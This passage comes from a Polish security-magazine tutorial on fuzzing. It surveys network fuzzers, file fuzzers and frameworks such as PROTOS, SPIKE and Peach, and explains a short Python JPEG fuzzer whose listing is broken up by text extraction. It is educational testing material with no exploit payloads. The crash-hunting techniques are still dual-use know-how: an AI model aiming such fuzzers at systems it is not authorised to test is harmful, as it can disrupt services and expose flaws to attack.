Fuzzery  sieciowe  są  ukierunkowa-
ne  na  programy  działające  poprzez 
sieć. Aby spełnić swoje zadanie, pod-
dają fuzzingowi albo protokół, z które-
go korzysta program, albo informacje 
w części, w której umieszczane są da-
ne przesyłane za pośrednictwem pa-
kietów. Fuzzery sieciowe są prawdo-
podobnie  najbardziej  interesującym 
zagadnieniem  dla  hakerów,  ponie-
waż mogą powodować crash poprzez 
sieć, co daje możliwość przejęcia kon-
troli  nad  atakowanym  systemem  bez 
potrzeby fizycznego dostępu. Co wię-
cej, nie ma potrzeby przesyłania ofie-
rze pliku do otwarcia lub wykonania.

Rodzina PROTOS

PROTOS  zawiera  kilka  fuzzerów, 
które  zostały  stworzone  na  fińskim 
University  of  Oulu  w  celu  poddawa-
nia  fuzzingowi  różnych  protokołów. 
Oddzielne projekty nazywane są pa-

kietami  testowymi  (ang.  test  suite). 
Wszystkie te pakiety testowe są na-
pisane  w  Javie,  co  jest  dosyć  nie-
zwykłe, bo większość nowoczesnych 
fuzzerów jest napisana albo w języ-
kach skryptowych w celu zapewnie-
nia  większej  czytelności,  albo  szyb-
kich językach takich jak C, aby przy-
spieszyć  cały  proces  fuzzingu.  Nie-
mniej  jednak,  lista  programów,  któ-
re zostały złamane przy pomocy jed-
nego  z  tych  pakietów  jest  nieskoń-
czenie długa. Przyjrzyjmy się niektó-
rym członkom rodziny PROTOS, za-
poznajmy się z ich użyciem oraz zo-
baczmy  systemy,  które  zostały  zła-
mane za ich pomocą.

Pakiet  http–reply  jest  ukierunko-

wany  na  protokół  HTTP.  Aby  zyskać 
większą  precyzję,  może  być  on  uży-
wany  do  poddawania  fuzzingowi  od-
powiedzi,  którą  serwer  przesyła  do 
kompatybilnego  klienta.  Ponieważ 
HTTP  jest  jednym  z  najczęściej  uży-
wanych protokołów w Internecie, wie-
le  różnych  aplikacji  można  podda-
wać  fuzzingowi  przy  użyciu  tego  pa-
kietu  testowego.  Przykładami  takich 
aplikacji  są  przeglądarki,  menedże-
ry ściągania plików i środowiska gra-
ficzne. Jest on dosyć prosty w obsłu-
dze.  Po  uruchomieniu  programu  po-
przez  java  –jar  c05–http–reply–r1.jar 
działa on jak serwer HTTP, nasłuchu-
jąc na porcie 8000. Pakiet z zawarto-
ścią poddaną fuzzingowi jest następ-
nie zwracany za każdym razem, kie-
dy klient łączy się z tym portem i prze-
syła żądanie. W tym przypadku pakiet 
testowy  pracuje  z  listą  danych,  któ-
re  zwykle  prowadzą  do  występowa-
nia  błędów  parsera.  Mimo  że  orygi-
nalne  testy  zostały  zakończone  jakiś 
czas temu, same pakiety testowe mo-
gą być wciąż używane do łatwego te-
stowania nowych aplikacji. Jeśli chce-
my  na  przykład  poważnie  przetesto-
wać naszą bieżącą przeglądarkę, mu-
sielibyśmy  lokalnie  uruchomić  pakiet 
testowy  i  sprawić,  aby  przeglądarka 
nawiązywała  cały  czas  połączenia  z 

http://localhost:8000. Ten proces moż-
na znacząco ułatwić pisząc skrypt.

snmpv1  to  prawdopodobnie  naj-

lepiej  znany  pakiet,  zaprojektowa-
ny na University of Oulu. Simple Ne-

twork Management Protocol (SNMP) 

Rysunek 5. 

GIMP rozpoznaje anomalie w obrazie poddanym fuzzingowi

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

68

jest dobrze rozwiniętym protokołem, 
przeznaczonym do wydobywania in-
formacji  systemowych  z  docelowej 
maszyny poprzez sieć. Wiele syste-
mów  wciąż  implementuje  pierwszą 
wersję  tego  protokołu,  mimo  że  ist-
nieje już wersja o numerze trzy. Jed-
nak  wersja  pierwsza  została  prak-
tycznie  uśmiercona  przez  snmpv1 
wiele lat temu, kiedy to odkryte zosta-
ły pewne jej strukturalne słabości. Te 
słabe  punkty  powodowały,  że  moż-
liwe  było  doprowadzenie  do  crashu 
dowolnego  programu  lub  nawet  wy-
konanie  arbitralnego  kodu,  jeśli  za-
implementowana  została  określona 
funkcjonalność SNMP. snmpv1 skła-
da się z dwóch oddzielnych pakietów, 
z których jeden służy do poddawania 
fuzzingowi żądań, drugi przeznaczo-
ny jest poddawaniu fuzzingowi puła-
pek.  Oba  z  nich  korzystają  z  takiej 
samej podstawowej składni poleceń. 
Po  uruchomieniu  poprzez  java  –jar 

c06–snmpv1–req–app–r1.jar  –host 

hostname  rozpoczynają  przesyła-
nie na wpół poprawnych pakietów do 
komputera  określonego  za  pomocą 

hostname.  Potem  wszystko,  co  po-
zostaje  do  zrobienia,  to  sprawdze-
nie komputera, na którym działa im-
plementacja SNMP, pod kątem wadli-
wego działania.

Dosyć nowym pakietem testowym 

jest  sip.  Już  patrząc  na  jego  nazwę 
można  odgadnąć,  że  używa  się  go 
do poddawania fuzzingowi protokołu 
SIP, będącego podstawą Voice over 

Internet Protocol (VoIP), który aktual-
nie staje się popularny. Aby osiągnąć 
większą precyzję, komunikat INVITE, 
który  jest  wykorzystywany  do  usta-
nowienia połączeń między systema-

mi  biorącymi  udział  w  komunikacji, 
jest poddawany fuzzingowi. Rezulta-
ty tego działania były bardzo przeko-
nujące. Większość testowanych sys-
temów  nie  była  w  stanie  dalej  dzia-
łać  stabilnie.  Wiele  załamań  prowa-
dziło do luk w zabezpieczeniach sys-
temu. Ten fakt został dobitnie zade-
monstrowany poprzez stworzenie kil-
ku exploitów DOS i exploita przepeł-
niającego bufor na zasadzie Proof of 

Concept (PoC). Jest to jeszcze jeden 
przykład potwierdzający dobrze zna-
ny fakt, że technologie, które rozwija-
ją się bardzo szybko w wyniku duże-
go  powszechnego  zainteresowania, 
wykazują  często  braki  w  dziedzinie 
bezpieczeństwa. Pakiet testowy ofe-
ruje wiele opcji umożliwiających do-
stosowanie  go  w  zależności  od  po-
trzeb. Jednak jeśli odłoży sie na bok 
większość  z  tych  opcji,  obsługa  pa-
kietu testowego staje się całkiem pro-
sta. Po uruchomieniu go poprzez wy-
wołanie java –jar c07–sip–r2.jar –to-

uri foo@bar.com przesyła komunika-
ty  INVITE  do  systemu  określonego 
za pomocą –touri.

mangleme i HTMLer

Mangleme jest fuzzerem napisanym 
w C. Został stworzony przez hakera 
o pseudonimie the evil twin do pod-
dawania fuzzingowi HTML. Jego ob-
sługa  jest  bardzo  prosta.  Po  pomy-
śłnym  skompilowaniu  źródeł  nowo-
utworzony  plik  mangleme.cgi  musi 
zostać  skopiowany  do  folderu  CGI 
serwera web i musi uzyskać do nie-
go dostęp przeglądarka, którą chce-
my  przetestować.  Przy  każdym  do-
stępie, na wpół poprawny dokument 
HTML jest wysyłany do przeglądarki. 

Dlatego zaleca się utworzenie skryp-
tu,  który  spowoduje,  że  przeglądar-
ka będzie nieustannie otwierać plik. 
Mangleme udowodnił swoją wyjątko-
wą skuteczność. Zdołał złamać każ-
dą znaną przeglądarkę, a także spo-
rą ilość spośród mniej popularnych.

HTMLer  jest  fuzzerem  napisa-

nym  w  Pythonie.  Został  stworzony 
przez  nd  jako  port  mangleme.  Jed-
nak w odróżnieniu od mangleme nie 
tworzy on stron internetowych na żą-
danie. Po uruchomieniu python htm-

ler.py,  wszystkie  na  wpół  popraw-
ne  dokumenty  HTML  są  zapisywa-
ne  w  folderze  o  nazwie  html1.  Dla-
tego  też  niezbędne  jest  zapewnie-
nie,  aby  przeglądarka  była  w  sta-
nie otwierać oddzielne pliki jeden po 
drugim. HTMLer zawiera pewne roz-
szerzenia w stosunku do mangleme. 
Doprowadziło to do odkrycia niektó-
rych nowych błędów wewnątrz Inter-
net Explorera. Luka, która jest chyba 
najbardziej znana, pozwalała na wy-
konanie arbitralnego kodu wewnątrz 
Internet Explorera podczas parsingu 
iframes. Została ona niewiele później 
wykorzystana przez robaka znanego 
jako  W32/Bofra  lub  W32/Mydoom  i 
doprowadziła do zarażenia ogromnej 
liczby systemów.

ircfuzz

Ircfuzz  jest  napisany  w  C.  Stworzył 
go  Ilja  van  Sprundel  do  poddawa-
nia fuzzingowi klientów IRC. Fuzzer 
działa jako demon IRC i nasłuchuje 
przychodzące połączenia, kiedy zo-
stanie aktywowany. Połączony klient 
jest następnie zalewany na wpół po-
prawnymi  danymi.  Jak  dotąd,  zdo-
łał  spowodować  crash  36  głównych 
klientów  IRC.  Wśród  nich  są  popu-
larne, takie jak BitchX, mIRC, xchat, 
trillian i kopete. Na cały fuzzer skła-
da  się  jeden  plik  z  kodem  źródło-
wym,  który  można  łatwo  skompilo-
wać  za  pomocą  GCC.  Wykonanie 
nowoutworzonego programu nie wy-
maga  podawania  argumentów.  Po 
uruchomieniu  fuzzer  będzie  nasłu-
chiwać połączeń na porcie 6667.

dhcpfuzz

Dhcpfuzz  jest  kolejnym  fuzzerem, 
którego autorem jest Ilja van Sprun-

Rysunek 6. 

Program kończy działanie z błędem dzielenia przez zero

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

69

del. Jednak tym razem do jego stwo-
rzenia użył on Perla. Działa jak nor-
malny  klient  DHCP  i  przesyła  na 
wpół poprawne pakiety do sieci. Ob-
sługa jest więc tak prosta, jak wywo-
łanie  klienta  DHCP.  Wszystko,  co 
trzeba  zrobić,  to  uruchomić  go  bez 
podawania  jakichkolwiek  parame-
trów. Co interesujące, programy do-
prowadzone do załamania w wyniku 
działania tych fuzzerów nie są tymi, 
które  podejrzewalibyśmy  o  to  zgod-
nie  z  powszechną  logiką  fuzzingu. 
Zamiast  powodować  crash  serwe-
rów DHCP, dhcpfuzz odkrywa słabe 
punkty  w  tcpdump  i  dhcpdump.  Na 

razie nie jest w stanie poddawać fuz-
zingowi klientów DHCP.

scapy

Scapy w rzeczywistości nie jest fuz-
zerem, ponieważ nie był początkowo 
przeznaczony  do  generowania  na 
wpół poprawnych danych. Jest to ra-
czej narzędzie napisane w Pythonie, 
stworzone  przez  Phillippe'a  Bion-
di  do  manualnego  tworzenia  pakie-
tów  z  niskopoziomowym  dostępem 
do  ich  danych.  Jego  początkowym 
przeznaczeniem  było  tworzenie  pa-
kietów do debugowania i analizy sie-
ci. Ponieważ jest całkowicie napisa-

ny w Pythonie może łatwo być dołą-
czany do innych projektów Pythona. 
Dzięki  temu  mamy  prawie  nieskoń-
czone  możliwości  tworzenia  fuzze-
rów wysyłających pakiety w zasięgu 
ręki! Możliwe jest na przykład utwo-
rzenie dowolnego pakietu standardo-
wego, a następnie zmiana czegokol-
wiek  wewnątrz  narzędzia  hexdump. 
Oczywiście możemy też zdefiniować 
funkcję,  która  będzie  modyfikować 
dane w samym narzędziu hexdump. 
W ten sposób, zwykły protokół może 
bardzo łatwo być łączony z losowymi 
danymi i przesyłany później do sieci. 
Ponieważ scapy zajmuje się wszyst-
kimi  częściami  pakietu,  nie  musimy 
się  martwić  informacjami  dla  war-
stwy  Ethernet,  poprawnymi  sumami 
kontrolnymi i podobnymi rzeczami.

Poza tym, że można go dołączyć 

jako  moduł  do  innych  skryptów  Py-
thona,  scapy  może  również  zostać 
uruchomiony  z  powłoki  Pythona. 
Umożliwia  to  szybkie  tworzenie  pa-
kietów  przeznaczonych  do  dalsze-
go badania określonego problemu w 
zależności od potrzeb. Ta opcja jest 
bardzo  przydatna,  kiedy  mamy  do 
czynienia z nieoczekiwanym zacho-
waniem podczas fuzzingu.

Fuzzery plikowe

W przeciwieństwie do fuzzerów sie-
ciowych,  które  poddają  fuzzingo-
wi pakiety bądź dane, fuzzery pliko-
we są przeznaczone do manipulowa-
nia częściami określonych plików. Są 
one otwierane za pomocą odpowied-
niego oprogramowania. Ta procedu-
ra jest następnie powtarzana do mo-
mentu wystąpienia usterki w progra-
mie.  Fuzzer  może  np.  manipulować 
obrazami, które są później otwierane 
przez  program  kreślarski,  przeglą-
darkę obrazów, przeglądarkę, środo-
wisko graficzne i wiele innych aplika-
cji. Ponieważ wiele plików poddawa-
nych w ten sposób fuzzingowi wystę-
puje w formie binarnej, ich podział na 
logiczne kompleksy nie jest tak łatwy, 
jak w przypadku pakietów lub danych 
przesyłanych w formacie ASCII. Stąd 
rozwiązanie  polegające  na  używa-
niu losowych danych jest o wiele bar-
dziej powszechne w przypadku tych 
fuzzerów.  Ma  to  sens  tym  bardziej, 

Listing 3. 

Fuzzer JPG napisany w Pythonie

#! /bin/env python

from

 

sys

 

import

 

argv

from

 

sys

 

import

 

exit

from

 

random

 

import

 

randint

header

 

=

 

"

\x

ff

\x

d8

\x

ff

\x

e0

\x

00

\x

10

\x

4a

\x

46

\x

49

\x

46

\x

00

\x

01"

closer

 

=

 

"

\x

ff

\x

d9"

def

 

chance

():

     

if

 

randint

(

1

,

10

)

 

==

 

5

:

          

return

 

1

     

else

:

          

return

 

0

try

:

     

original

 

=

 

open

(

argv

[

1

]

,

"r"

)

except

:

     

print

 

"Wrong input–filename!

\n\n

Usage: ./test–jpeg.py filename output 

[–v]"

     

exit

()

content

 

=

 

original

.

read

()

original

.

close

()

torso

 

=

 

content

.

strip

(

header

)

.

strip

(

closer

)

array

 

=

 

[]

for

 

a

 

in

 

torso

:

     

array

.

append

(

a

)

count

 

=

 

0

while

 

count

 

<

 

len

(

array

):

     

if

 

chance

():

          

array

[

count

]

 

=

 

hex

(

randint

(

0

,

255

))

     

count

 

+=

 

1

fuzztorso

 

=

 

""

for

 

a

 

in

 

array

:

     

fuzztorso

 

+=

 

a

final

 

=

 

header

 

+

 

fuzztorso

 

+

 

closer

if

 

len

(

argv

)

 

==

 

4

:

     

if

 

argv

[

3

]

 

==

 

"–v"

:

          

print

 

final

     

else

:

          

print

 

"Invalid Option!

\n\n

Usage: ./test–jpeg.py filename output 

[–v]"

try

:

     

output

 

=

 

open

(

argv

[

2

]

,

"w"

)

except

:

     

print

 

"Invalid output–filename!

\n\n

Usage: ./test–jpeg.py filename output 

[–v]"

output

.

write

(

final

)

output

.

close

()

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

70

że większość plików nie zawiera sum 
kontrolnych  lub  podobnych  rzeczy, 
którymi trzeba by się zajmować.

notSPIKEfile i filefuzz 

NotSPIKEfile  jest  fuzzerem  działa-
jącym  w  śrdowisku  Linuksa  prze-
znaczonym  do  poddawania  fuzzin-
gowi  dowolnych  plików.  Został  na-
pisany  przez  Adama  Greene'a  w 
C. NotSPIKEfile oferuje bardzo wy-
soki  poziom  automatyzacji  i  w  ten 
sposób  znacząco  obniża  wymaga-
nia, jakie musi spełniać osoba prze-
prowadzająca  test.  Jednak  instala-
cja  może  sprawiać  trudności  oso-
bom,  które  nie  znają  Linuksa.  Po 
skompilowaniu  i  konsolidacji  pro-
gramu  za  pomocą  skryptu  powłoki 
/make.sh,  musimy  zmodyfikować 
zmienną środowiskową  LD_LIBRA-

RY_PATH,  aby  dołączyć  bibliotekę 

libdisasm.so  wymaganą  przez  not-
SPIKEfile. Bibliotekę tę można zna-
leźć w folderze podrzędnym źródeł, 
które właśnie skompilowaliśmy. Mo-
żemy  uzyskać  szybką  pomoc,  wy-
dając  po  prostu  polecenie  export 

LD_LIBRARY_PATH=$LD_LIBRA-

RY_ PATH:. /libdisasm /src /arch/

i386/libdisasm/

W ten sposób powinno być moż-

liwe  uruchomienie  notSPIKEfile  bez 
żadnych  dalszych  problemów.  Pod-
stawowa składnia poleceń jest łatwa 
do zrozumienia. Mimo że NotSPIKE-

file oferuje kilka opcji, wszystkie po-
siadają  standardowe  wartości.  Dla-
tego  składnia  testująca  GhostScript 
przy  pomocy  na  wpół  poprawnych 
plików  PostScript  jest  następująca:
./notSPIKEfile  –o  fuzz.ps  input.ps 
"/usr/bin/gs %FILENAME%"

Oznacza to polecenie notSPIKE-

file  poddania  fuzzingowi  pliku  o  na-
zwie  input.ps  i  zapisanie  rezultatów 
do pliku o nazwie fuzz.ps. Następnie 
uruchamiany  jest  program  /usr/bin/

gs.  Pole  %FILENAME%  jest  auto-
matycznie zastępowane nazwą pliku 
zawierającego dane poddawane fuz-
zingowi.  NotSPIKEfile  automatycz-
nie  próbuje  określić,  czy  testowany 
program  ulega  załamaniu.  Jeśli  tak 
jest, dane opisujące crash, takie jak 
np.  zawartość  rejestrów  procesora, 
są zapisywane.

Filefuzz to program dość podob-

ny do notSPIKEfile. Jednak działa w 
systemie Windows i w ramach plat-
formy  .NET  Framework.  Co  więcej, 
oferuje graficzny interfejs użytkowni-
ka, co ułatwia jego eksploatowanie. 
Podobnie  jak  notSPIKEfile,  próbuje 
wykrywać crash automatycznie.

mangle

Mangle (nie chodzi o mangleme, to in-
ny  program)  jest  fuzzerem  plikowym 
napisanym w C przez Ilję van Sprun-
dela.  Jest  bardzo  prosty  i  przez  to 
składa się z około 60 linijek kodu. Jako 
pierwszego  argumetu,  mangle  ocze-
kuje  nazwy  pliku.  Opcjonalnie,  dłu-
gość  nagłówka  może  zostać  przeka-
zana jako drugi argument. Mangle wy-
pełnia  do  10%  nagłówka  pliku  przy-
padkowymi  danymi.  Ten  fuzzer  jest 
zwykle używany razem ze skryptem, 
który na przemian uruchamia go i te-
stowany program. Nawet jeśli mangle 
obywa się bez wielkiej filozofii i posiada 
prostą  strukturę,  był  w  stanie  odnosić 
wielkie  sukcesy.  Dziesiątki  procesów 
zostało doprowadzonych do załamania 
z jego pomocą. Wśród nich są mplay-
er, Internet Explorer i OpenOffice oraz 
takie ciekawostki, jak ELF–Loader róż-
nych BSD i pochodnych Solarisa oraz 
części kernela Linuksa w wersji 2.4.29 
odpowiadające za wczytywanie syste-
mu  plików.  Jest  to  dowód  na  począt-
kową tezę artykułu, że systemy plików 
również mogą być celem fuzzingu.

COMbust

COMbust  jest  fuzerem  napisanym 
przez  Frederica  Bret–Mouneta  do 
poddawania  fuzzingowi  obiektów 
COM. Niestety jest on dostępny tyl-
ko w postaci binarnej. COMbust wy-
konuje  funkcje  obiektów  skrypto-
wych (ang. scriptable objects) z róż-
nymi  parametrami.  Ponieważ  atak 
na obiekty skryptowe jest raczej no-
wą techniką, COMbust był w stanie 
doprowadzić  do  wielokrotnego  za-
łamywania  się  podstawowej  wer-
sji  Windows  XP  SP2.  Z  uwagi  na 
fakt,  że  @stake–company,  dla  któ-
rej  Bret–Mounet  napisał  COMbust, 
została  ostatnio  przejęta  przez  Sy-
mantec, przyszłość tego obiecujące-
go fuzzera jest raczej niepewna.

Platformy fuzzingowe

Napisanie  fuzzera  może  stać  się 
dość żmudnym zajęciem, w zależno-
ści od złożoności tego procesu. Jak 
zobaczyliśmy,  proste  fuzzery  pliko-
we mogą mieć tylko kilka linijek ko-
du.  Inne  fuzzery  jednak  zawierają 
kody  źródłowe  liczone  w  megabaj-
tach i składają się z tysięcy linii kodu. 
Bardziej złożone projekty mogą więc 
stać się trudne do wykonania dla po-
jedynczego dewelopera.

Platformy  fuzzingowe  przycho-

dzą  w  takich  przypadkach  z  pomo-
cą.  Dostarczają  klas  lub  funkcji  dla 
określonych  języków  programowa-
nia, co powoduje, że tworzenie fuz-
zerów  staje  się  o  wiele  łatwiejsze. 
Zwykle,  funkcjonalność  dostarcza-
na w ten sposób obejmuje struktury 
do generowania przypadkowych da-
nych w określonym formacie, powta-
rzanie różnych wariantów lub trans-
misję pakietów. Przyjrzyjmy się więc 
bliżej niektórym dobrze znanym plat-
formom fuzzingowym.

SPIKE i SPIKEfile

SPIKE został napisany przez Dave-
'a Aitela w C jako platforma dla fuz-
zingu  protokołów  sieciowych.  Jest 
to  prawdopodobnie  najlepiej  znana 
platforma  fuzzingowa,  dostarczają-
ca ogromnej funkcjonalności, w tym 
wsparcia  dla  wszystkich  popular-
nych protokołów. Nazwa SPIKE (ko-
lec) wywodzi się od struktury, na któ-
rej opiera się programowanie. Zdefi-
niowanym  blokom  danych  przypisa-
ne są takie atrybuty, jak długość, for-
mat lub kodowanie. Bloki te nazywa-
ne  są  SPIKEs  i  są  elementami  fak-
tycznie używanymi do fuzzingu.

Z  uwagi  na  strukturę  blokową, 

SPIKE  oferuje  wielkie  możliwości 
nawet w przypadku nieznanych pro-
tokołów. Wszystko, co trzeba zrobić, 
to  przechwycić  pojedynczy  pakiet, 
skopiować  i  wkleić  go  do  własnego 
programu  jako  binarny  dump.  Na-
stępnie, te jego części, które wyda-
dzą się interesujące mogą zostać za-
stąpione przez odpowiednio zmody-
fikowane  bloki  SPIKEs.  Za  pomocą 
kilku linii kodu można spowodować, 
by  program  przerobił  zdefiniowane 
bloki,  poddał  w  ten  sposób  fuzzin-

background image

Fuzzing

hakin9 Nr 7/2007

www.hakin9.org

71

gowi pakiet i przesyłał go nieustan-
nie do sieci.

Wielu ludzi narzeka na to, że SPI-

KE nie posiada dobrej dokumentacji. 
Są dwa powody takiego stanu rzeczy. 
Po  pierwsze  wczesne  wersje  SPIKE 
zawierały  bardzo  ograniczony  mate-
riał  objaśniający.  Co  więcej,  bibliote-
ki, które są napisane w C zwykle bar-
dzo trudno jest intuicyjnie zrozumieć. 
Ta sprawa została rozwiązana w aktu-
alnej wersji 2.9, która zawiera obszer-
ną dokumentację wraz z dużą ilością 
przykładowych programów, które uła-
twiają solidny start z tą platformą, bez 
względu  na  to,  czy  odpowiada  nam 
teoretyczne  podejście  do  nauki  po-
przez  czytanie  dokumentacji  czy  też 
wolimy  podejście  typu  kopiuj–wklej
Dostępny  jest  nawet  graficzny  fron-
tend  napisany  w  pakiecie  wxPython, 
który ma na celu ułatwienie obsługi.

Poza  bibliotekami,  które  są  na-

pisane  w  C,  SPIKE  implementu-
je  też  swój  własny  format  plików 
zwany  .spk,  który  jest  interpretowa-
ny  przez  program  główny  jak  język 
skryptowy.

Zazwyczaj  SPIKE  nie  ma  możli-

wości poddawania fuzzingowi plików, 
do tego celu przeznaczony jest SPI-
KEfile.  Jest  to  zmodyfikowana  wer-
sja SPIKE, która nie zapewnia żadne-
go wsparcia dla protokołów sieciowe-
go, za to wspiera pliki. Teoria fuzzingu 
oparta na blokach stosowana w SPI-
KE jest kontynuowana, tak więc prze-
łączanie  się  z  jednego  do  drugiego 
jest dosyć proste. SPIKE jest platfor-
mą, na której oparty jest zaprezento-
wany wcześniej fuzzer notSPIKEfile.

SMUDGE

SMUDGE  to  akronim,  który  ozna-
cza  Software  Mutilation  Utility  and 

Da  Generation  Engine.  Został  napi-
sany  przez  nd  w  Pythonie.  Podob-
nie jak SPIKE, jego celem jest pod-
dawanie  fuzzingowi  protokołów  sie-
ciowych.  Ponieważ  jest  napisany  w 
języku  skryptowym,  dziedziczy  ela-
styczność  klas  tego  języka.  Przy-
kładowo,  SMUDGE  nie  musi  wpro-
wadzać swojego własnego interpre-
towanego formatu plików tak, jak to 
robi SPIKE, ale opiera się raczej na 
funkcjonalności Pythona.

Nawet jeśli SPIKe nie może kon-

kurować  z  zakresem  funkcjonalno-
ści SPIKE, wciąż zapewnia procedu-
ry dla wszystkich głównych protoko-
łów i dlatego może być używany do 
szybkiego tworzenia fuzzerów w Py-
thonie.  Stringi  wykorzystywane  do 
fuzzingu  są  dość  podobne  do  tych 
używanych  przez  SPIKE,  co  powo-
duje, że obie platformy często osią-
gają podobne wyniki. Innym plusem 
tego, że SMUDGE został napisany w 
Pythonie,  jest  fakt,  że  jego  obsługa 
jest o wiele bardziej intuicyjna niż w 
przypadku SPIKE.

Peach

Peach jest platformą fuzzingową na-
pisaną  w  Pythonie  przez  Michaela 
Eddingtona.  Zgodnie  z  tym,  co  sam 
autor  mówi,  napisał  go  popijając  pi-
wo nad ph–neutral 0x7d4. W przeci-
wieństwie do platform, które omawia-
liśmy do tej pory, Peach nie ograni-
cza się do protokołów sieciowych, a 
raczej zapewnia wsparcie dla możli-
wie wszystkiego, co można by chcieć 
poddać fuzzingowi, od plików do pro-
tokołów,  od  aplikacji  sieciowych  do 
obiektów COM Windows. Jest to jak 
dotąd  jedyna  główna  platforma  fuz-
zingowa,  zdolna  poradzić  sobie  z 
osobliwościami coraz popularniejszej 
platformy .NET Framework.

Dokumentacja  programu  została 

automatycznie utworzona z kodu źró-
dłowego. Dzięki temu jest ona bardzo 
obszerna i ma dobrą strukturę. Jednak 
automatycznie tworzone odnośniki nie 
są  zbyt  odpowiednie  dla  początkują-
cych programistów. To dlatego Peach 
jest skierowany raczej dla zaawanso-
wanych deweloperów Pythona.

Funkcjonalność  można  najogól-

niej  podzielić  na  cztery  części.  Są 
to generatory, transformatory, proto-
koły i publikatory. Generatory są wy-
korzystywane  do  generowania  da-
nych,  takich  jak  stringi  lub  pakiety 
TCP. Transformatory zmieniają dane 
kompresując je lub kodując. Protoko-
ły zajmują się specyficznymi potrze-
bami  fuzzingu  sieciowego.  Publika-
tory  są  używane  do  przeprowadze-
nia właściwego procesu fuzzingu po-
przez przesyłanie pakietów lub zapi-
sywanie danych do pliku.

Chociaż  nie  jest  możliwe  stwo-

rzenie fuzzera przez proste połącze-
nie tych obiektów, ułatwiają one two-
rzenie  fuzzerów,  oszczędzają  bo-
wiem  czas  potrzebny  do  napisania 
wielu  linii  prostego  kodu  dla  wielu 
zwykłych problemów.

Twój własny fuzzer

Na zakończenie napiszmy nasz wła-
sny fuzzer. Pierwsze dwa pytania, na 
które trzeba odpowiedzieć sobie, pi-
sząc fuzzer to:

•   Co będzie celem fuzzingu?
•   Jakiego  języka  programowania 

użyć?

W  tym  przykładzie  stworzymy  fuz-
zer dla obrazów JPG, a dokładniej dla 
kontenera JFIF, który zawiera te obra-
zy. Oczywiście moglibyśmy użyć do-
wolnego znanego fuzzera plikowego, 
aby to zrobić, ale taki fuzzer nie wie-
działby o specjalnych cechach konte-
nera JFIF i najprawdopodobniej wpro-
wadziłby  zmiany  do  jego  ważnych 
części. To doprowadziłoby do powsta-
nia pliku, którego większość użytkow-
ników  nie  chciałaby  wczytać.  Użyje-
my  Pythona,  ponieważ  charaktery-
zuje się łatwą strukturą, dobrą czytel-
nością,  szybkim  czasem  tworzenia  i 
ogromną biblioteką standardową.

Kontener JFIF składa się z nagłów-

ka  i  części  z  danymi.  Nagłówek  jest 
pomijany  przez  większość  współcze-
snych  programów.  Stąd  też,  począ-
tek części z danymi nabiera wielkiego 
znaczenia dla pliku. Początek części z 
danymi jest oznaczony przez tak zwa-
ny znacznik SOI, po którym następuje 
sekwencja bajtów oznaczająca konte-
ner z danymi jako kontener JFIF. Na-
wet jeśli nowoczesne przeglądarki ob-
razów mogą działać także bez niego, 
zaleca się zachowanie go bez zmian, 
aby zagwarantować zgodność ze star-
szym oprogramowaniem. Deklarująca 
sekwencja  bitów  jest  skonstruowana 
w  następujący  sposób:  \xff\xe0\x00\
x10\x4a\x46\x49\x00\x01

Po  wiodących  bajtach  następuje 

część, którą chcemy poddać fuzzingo-
wi, zawierająca dane obrazów podzie-
lone na segmenty. Koniec tej informacji 
jest oznaczony poprzez bajty \xff\xd9.

background image

hakin9 Nr 7/2007

www.hakin9.org

Początki

72

Aby nie powodować komplikacji, 

zmusimy nasz program do poddania 
fuzzingowi normalnego obrazu JPG. 
Następnie  zamieni  on  ok.  10%  baj-
tów  w  części  z  danymi  losowo  wy-
branymi nowymi bajtami.

Przykładowy  program,  który 

spełnia określone  wymagania,  moż-
na  znaleźć  na  Listingu  1.  Jak  za-
wsze,  istnieje  jednak  wiele  dróg  do 
osiągnięcia  celu.  Najpierw  importu-
jemy  niezbędne  moduły.  Pierwszym 
krokiem  jest  stworzenie  funkcji,  któ-
ra  zwróci  sygnał  do  zmiany  danego 
bajta  z  szansą  na  powodzenie  wy-
noszącą  10  procent.  Chociaż  Py-
thon  nie  ma  takiej  funkcji  w  swojej 
bibliotece  standardowej,  bardzo  ła-
two jest ją stworzyć przy użyciu funk-
cji  randint()  z  modułu  random.  ran-

dint() przyjmuje dwie liczby całkowi-
te jako argumenty i zwraca liczbę lo-
sową, której wartość mieści się w za-
kresie utworzonym przez podane ar-
gumenty. Stąd też nasza funkcja two-
rzy liczbę o wartości między 1 a 10 
za każdym razem, kiedy zostanie wy-
wołana. W przypadku, kiedy liczba ta 
jest równa dowolnie wybranej liczbie 
mieszczącej się w tym samym zakre-
sie, zwracana jest wartość 1, w prze-
ciwnym razie funkcja zwraca 0.

Fuzzer  otwiera  następnie  da-

ny  plik  i  zapisuje  jego  zawartość 
w  zmiennej.  Części,  które  nie  ma-
ją  być  poddane  fuzzingowi,  zosta-
ją oddzielone od reszty danych i po-
została część (torso) jest zapisywa-
na w nowej zmiennej. Następnie ma 
miejsce istotny krok, podczas które-
go fuzzer iteruje po każdym bajcie za 
pomocą  pętli  while,  po  tym  jak  baj-
ty zostały przegrupowane w tablicę. 
Dla każdego bajta wywoływana jest 
funkcja  chance.  Jeśli  zwraca  war-
tość 1, odpowiedni bajt jest zastępo-
wany przez nowo wybrany bajt. Lo-
sowy wybór bajta jest łatwy do wy-
konania poprzez wygenerowanie lo-
sowej liczby pomiędzy 0 i 255, a na-
stępnie jej zamianę na wartość szes-
nastkową  za  pomocą  funkcji  hex()
Na zakończenie elementy, które zo-
stały usunięte, zostają ponownie do-
dane do początku i końca danych, a 
następnie wszystko jest zapisywane 
do nowego pliku.

Wszystko,  co  jeszcze  pozostało 

do  zrobienia  to  zmuszenie  progra-
mu, który chcemy przetestować, do 
nieustannego otwierania nowoutwo-
rzonych obrazów. Albo jeszcze lepiej 
–  możemy  napisać  niewielki  skrypt, 
który  wykona  za  nas  tę  pracę,  zre-
laksować  się  i  czekać  na  wystąpie-
nie usterki. 

Podsumowanie

Dotarliśmy  do  końca  tego  krótkiego 
wprowadzenia  poświęconego  fuzzin-
gowi.  Na  poprzednich  stronach  na-
uczyliśmy  się  teoretycznych  pod-
staw  fuzzingu  i  zdobyliśmy  pierwszy 
wgląd  w  odpowiednie  techniki  i  ana-
lizę.  Teraz  wiemy  już,  czym  jest  fuz-
zing  i  skąd  się  wziął.  Znamy  teore-
tyczne podstawy i całkiem sporą ilość 
istniejących fuzzerów do praktyczne-
go użycia. Nic nie powinno nam więc 
przeszkodzić w wykorzystaniu fuzze-
rów  dla  własnych  potrzeb.  Możemy 
